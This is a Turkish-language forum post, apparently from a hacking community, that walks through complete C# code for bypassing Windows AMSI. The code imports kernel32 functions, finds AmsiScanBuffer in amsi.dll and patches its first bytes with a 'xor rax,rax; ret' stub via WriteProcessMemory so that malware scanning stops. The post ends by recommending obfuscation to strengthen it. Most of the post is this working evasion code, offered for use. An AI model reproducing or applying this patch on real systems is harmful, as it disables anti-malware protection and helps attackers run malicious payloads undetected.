Uzun bir aradan sonra herkese merhaba.
Bugün, C# dilinde AMSI yani Anti Malware Tarama Sistemi için bir Bypass örneği yazacağız.
Öncelikle AMSI nedir ve bunu neden bypass'lamak istiyoruz bunu öğrenmek için, aşağıdaki konuya bakabilirsiniz;
Windows Anti Malware Tarama Sistemi (AMSI) Nedir?
Kütüphanelerimiz;
using System;using System.Runtime.InteropServices;Koda geçelim;
Öncelikle AMSI sistemini bellek tarafında bypass edeceğiz, bu yüzden Windows API'lerini kullanıyoruz.
C#:
class api
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
Kullanacağımız API'ler bunlar, amacımız; AMSI sistemini patch'leyerek geçmek.
Şimdi, bypass fonksiyonumuzu yazalım;
C#:
public static bool bypass()
{
try
{
//işlemler amsi.dll üzerinde gerçekleşecek
//api fonksiyonlarından birini burada kullanıyoruz
IntPtr dll = GetModuleHandle("amsi.dll");
if (dll == IntPtr.Zero)
//eğer dll 0 ise bulunamadı mesajı veriyoruz
{
Console.WriteLine("dll yok");
return false;
}
//olay burada amsiscanbuffer adresini alacağız
//bu fonksiyonu patchleyerek bypass edeceğiz
IntPtr scnbufferadresi = GetProcAddress(dll, "AmsiScanBuffer");
if (scnbufferadresi == IntPtr.Zero)
{
Console.WriteLine("fonksiyon yookk");
return false;
}
//patchlemek için assembly dilinde fonksiyonu sonlandıracağımız değerlr
//64 bit sistemler için
byte[] degerler = new byte[] { 0x48, 0x31, 0xC0, 0xC3 };
// bu değerler alıntıdır
//patch işlemi
//scanbuffer fonksiyonunun başlangıcını değiştirerek taramayı kapat
IntPtr degeri_yaz;
bool aaa = WriteProcessMemory(GetCurrentProcess(), scnbufferadresi, degerler, degerler.Length, out degeri_yaz);
if (!aaa)
{
Console.WriteLine("hata");
return false;
}
return true;
}
catch
{
Console.WriteLine("hataaa");
return false;
}
}
Kod bu kadar, tabii bunu geliştirmek için; Obfuscation gibi teknikler kullanmanız gerekiyor.
Saygılarımla
Son düzenleme:




